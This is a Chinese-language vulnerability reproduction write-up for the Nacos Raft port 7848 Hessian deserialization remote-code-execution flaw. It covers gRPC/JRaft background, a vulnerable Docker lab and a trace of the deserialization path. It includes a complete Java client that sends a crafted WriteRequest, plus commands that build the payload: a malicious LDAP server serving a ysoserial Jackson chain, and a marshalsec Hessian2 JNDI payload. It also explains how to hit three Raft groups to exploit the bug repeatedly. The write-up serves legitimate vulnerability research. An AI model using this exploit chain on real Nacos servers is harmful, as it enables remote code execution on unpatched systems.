Nacos默认的7848端口是用于Nacos集群间Raft协议的通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化
影响版本
1.4.0 <= Nacos < 1.4.6
2.0.0 <= Nacos < 2.2.3
前置知识
grpc-java
作为分析该漏洞的前置知识,需要对照官方文档快速学一下(搜了一些教程,但讲的版本比较老了,很多不兼容的地方,Nacos用的是比较新的版本,所以还是以官方教程学习靠谱)
添加依赖
创建Maven项目 grpc_demo,依赖参考官方README
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <dependency> <groupId>io.grpc</groupId> <artifactId>grpc-netty-shaded</artifactId> <version>1.50.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>io.grpc</groupId> <artifactId>grpc-protobuf</artifactId> <version>1.50.2</version> </dependency> <dependency> <groupId>io.grpc</groupId> <artifactId>grpc-stub</artifactId> <version>1.50.2</version> </dependency>
<dependency> <groupId>io.grpc</groupId> <artifactId>grpc-api</artifactId> <version>1.50.2</version> </dependency>
|
定义服务
在src/main目录下创建proto目录,并创建文件helloworld.proto,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| syntax = "proto3";
option java_multiple_files = true; option java_package = "com.example.grpc.api";
service Greeter { rpc SayHello (HelloRequest) returns (HelloReply) {} }
message HelloRequest { string name = 1; }
message HelloReply { string message = 1; }
|
生成客户端和服务端代码
可以用Maven插件或者命令行工具生成,我觉得用命令行工具更加清晰,用法参考 https://grpc.io/docs/languages/java/basics/#generating-client-and-server-code 和 https://grpc.io/docs/languages/java/generated-code/
下载protobuf
https://github.com/protocolbuffers/protobuf/releases/tag/v23.2
下载自己系统对应的版本并放入proto目录
下载protoc-gen-grpc-java
https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/1.9.1/
同样下载和系统对应的版本放入proto目录
生成代码
cd到proto目录,将下载的protoc-gen-grpc-java重命名为标准名称,添加可执行权限,并运行protoc生成代码
1 2 3
| mv protoc-gen-grpc-java-1.9.1-osx-x86_64.exe protoc-gen-grpc-java chmod +x protoc-gen-grpc-java ./protoc --plugin=protoc-gen-grpc-java --grpc-java_out=../java --java_out=../java helloworld.proto
|
创建服务端
实现具体代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.example.grpc.service;
import com.example.grpc.api.GreeterGrpc; import com.example.grpc.api.HelloReply; import com.example.grpc.api.HelloRequest; import io.grpc.stub.StreamObserver;
public class GreeterService extends GreeterGrpc.GreeterImplBase { @Override public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver) { String name = request.getName(); HelloReply helloReply = HelloReply.newBuilder().setMessage("Hello, "+name).build(); responseObserver.onNext(helloReply); responseObserver.onCompleted(); } }
|
运行服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.example.grpc;
import com.example.grpc.service.GreeterService; import io.grpc.Server; import io.grpc.ServerBuilder;
import java.io.IOException;
public class GreeterServer { public static void main(String[] args) throws IOException, InterruptedException { int port = 8888; Server server = ServerBuilder.forPort(port).addService(new GreeterService()).build(); server.start();
System.out.println("Running..."); server.awaitTermination(); } }
|
创建客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package com.example.grpc;
import com.example.grpc.api.GreeterGrpc; import com.example.grpc.api.HelloReply; import com.example.grpc.api.HelloRequest; import io.grpc.Channel; import io.grpc.ManagedChannelBuilder;
public class GreeterClient { public static void main(String[] args) { String host = "127.0.0.1"; int port = 8888;
Channel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build(); GreeterGrpc.GreeterBlockingStub greeterBlockingStub = GreeterGrpc.newBlockingStub(channel); HelloRequest helloRequest = HelloRequest.newBuilder().setName("leixiao").build(); HelloReply helloReply = greeterBlockingStub.sayHello(helloRequest); System.out.println(helloReply.getMessage()); } }
|
运行客户端后,便完成了一次gRPC请求和响应
JRaft
Raft是一种共识算法,JRaft是其Java实现,可以看一下官方的Demo
漏洞环境
Dockerfile
nacos-server-2.2.2.tar.gz
1 2 3 4 5 6 7 8
| FROM openjdk:8u342-jre
ADD nacos-server-2.2.2.tar.gz /root
RUN apt update && \ apt install net-tools procps -y
WORKDIR /root
|
docker-compose.yml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| version: '3'
services: nacos: build: . container_name: nacos ports: - 5005:5005 - 7848:7848 - 8848:8848 environment: - JAVA_OPT=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 command: - /bin/sh - -c - | bash nacos/bin/startup.sh -m standalone tail -f nacos/logs/start.out
|
漏洞分析
修复代码中添加了Hessian反序列化白名单:https://github.com/alibaba/nacos/pull/10542/files
那么最终反序列化的地方很清楚,即:
com.alibaba.nacos.consistency.serialize.HessianSerializer#deserialize
再根据漏洞描述——“该漏洞仅影响7848端口(默认设置下),一般使用时该端口为Nacos集群间Raft协议的通信端口”,找到可能的漏洞触发点:
在JRaft中,提交的任务最终将会复制应用到所有 raft 节点上的状态机。onApply 是StateMachine最核心的方法。
com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply
1 2 3 4 5 6 7
| public void onApply(Iterator iter) { ... if (message instanceof WriteRequest) { Response response = processor.onApply((WriteRequest) message); postProcessor(response, closure); } ...
|
processor.onApply
有多个实现,先看如下这个:
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply
1 2
| public Response onApply(WriteRequest request) { final InstanceStoreRequest instanceRequest = serializer.deserialize(request.getData().toByteArray());
|
另外在com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl中有个group方法如下,NAMING_PERSISTENT_SERVICE_GROUP_V2
的值即naming_persistent_service_v2
会在后面客户端的代码中用到
1 2 3
| public String group() { return Constants.NAMING_PERSISTENT_SERVICE_GROUP_V2; }
|
group()
是作为groupId用于创建RaftGroupService:
com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup
1 2 3 4 5 6 7
| synchronized void createMultiRaftGroup(Collection<RequestProcessor4CP> processors) { ... for (RequestProcessor4CP processor : processors) { final String groupName = processor.group(); ... RaftGroupService raftGroupService = new RaftGroupService(groupName, localPeerId, copy, rpcServer, true); ...
|
构造请求
在源码中并没有WriteRequest
,Response
等类的定义,他们都在nacos-2.2.2/consistency/src/main/proto/consistency.proto 文件中,将该文件复制到文章开头创建的 grpc_demo 项目的proto目录中,借助protoc命令行工具生成代码
1
| ./protoc --plugin=protoc-gen-grpc-java --grpc-java_out=../java --java_out=../java consistency.proto
|
然后参考JRaft给出的Demo,可以写出相应的客户端代码:
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>com.alipay.sofa</groupId> <artifactId>jraft-core</artifactId> <version>1.3.12</version> </dependency> <dependency> <groupId>com.alipay.sofa</groupId> <artifactId>rpc-grpc-impl</artifactId> <version>1.3.12</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package org.example;
import com.alibaba.nacos.consistency.entity.WriteRequest; import com.alipay.sofa.jraft.entity.PeerId; import com.alipay.sofa.jraft.option.CliOptions; import com.alipay.sofa.jraft.rpc.impl.GrpcClient; import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper; import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl; import com.google.protobuf.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.Map;
public class App { public static void main( String[] args ) throws Exception { String address = "127.0.0.1:7848"; byte[] poc = getPoc();
CliClientServiceImpl cliClientService = new CliClientServiceImpl(); cliClientService.init(new CliOptions()); PeerId leader = PeerId.parsePeer(address);
WriteRequest request = WriteRequest.newBuilder() .setGroup("naming_persistent_service_v2") .setData(ByteString.copyFrom(poc)) .build();
GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient();
Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses"); parserClassesField.setAccessible(true); Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient); parserClasses.put(WriteRequest.class.getName(),WriteRequest.getDefaultInstance()); MarshallerHelper.registerRespInstance(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());
Object res = grpcClient.invokeSync(leader.getEndpoint(), request,5000); System.out.println(res); } }
|
断点调试
可以在关键的几处下断点观察:
com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply
com.alibaba.nacos.consistency.serialize.HessianSerializer#deserialize(byte[])
Gadget
目前只是成功让代码走到反序列化的点,还需要构造Hession反序列化的POC:
- 通过JNDI-Injection-LDAP-Deserialization启动恶意ldap服务,并使用y4er师傅改的ysoserial中Jackson这条链
1
| java -jar JNDI-Injection-LDAP-Deserialization-1.0-SNAPSHOT.jar 1389 `java -jar ~/Tools/Y4er_ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar Jackson 'touch /tmp/success'|base64`
|
- 然后通过marshasec生成JDNI注入的POC
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringPartiallyComparableAdvisorHolder ldap://host.docker.internal:1389/exp |base64
|
其他
其实前面很多分析过程是有省略的,感觉都写下来会很乱,所以挑了一条漏洞的链路完成漏洞的复现,准备在后面补充一些细节
只能打一次?
按前文的POC第一次攻击7848端口的话,调用栈如下:
1 2 3 4 5 6 7 8 9 10
| deserialize(byte[]), HessianSerializer onApply(WriteRequest), PersistentClientOperationServiceImpl onApply(Iterator), NacosStateMachine doApplyTasks(IteratorImpl), FSMCallerImpl doCommitted(long), FSMCallerImpl runApplyTask(FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl access$100(FSMCallerImpl, FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl onEvent(FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl$ApplyTaskHandler onEvent(Object, long, boolean), FSMCallerImpl$ApplyTaskHandler run(), BatchEventProcessor
|
JRaft客户端得到的返回数据是反序列化中的异常信息,说明已经完成反序列化过程,这里没有问题
但是同样的POC,运行第二次,返回信息是:
并且代码无法进入上述调用栈,感觉这里可能和Raft的算法或者协议有关,重启环境也不行。需要销毁环境,重新创建:
1
| docker-compose down; docker-compose up -d
|
多条触发链路
在前文中提到的com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup中创建RaftGroupService的地方下断点,并且对环境进行销毁重启,在重启的同时IDEA连上调试
会发现其实不只存在一个RaftGroupService:
1 2 3
| naming_persistent_service_v2 naming_instance_metadata naming_service_metadata
|
他们分别对应的”onApply”如下:
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply
1 2
| public Response onApply(WriteRequest request) { final InstanceStoreRequest instanceRequest = serializer.deserialize(request.getData().toByteArray());
|
com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor#onApply
1 2 3
| public Response onApply(WriteRequest request) { MetadataOperation<InstanceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType); ...
|
com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor#onApply
1 2 3
| public Response onApply(WriteRequest request) { MetadataOperation<ServiceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType); ...
|
都有反序列化操作,所以,打完一个”group”后,可以打另外一个”group”,这样漏洞至少可以打3次:
1 2 3 4 5 6
| WriteRequest request = WriteRequest.newBuilder() .setGroup("naming_persistent_service_v2") .setData(ByteString.copyFrom(poc)) .build();
|
参考
https://y4er.com/posts/nacos-hessian-rce/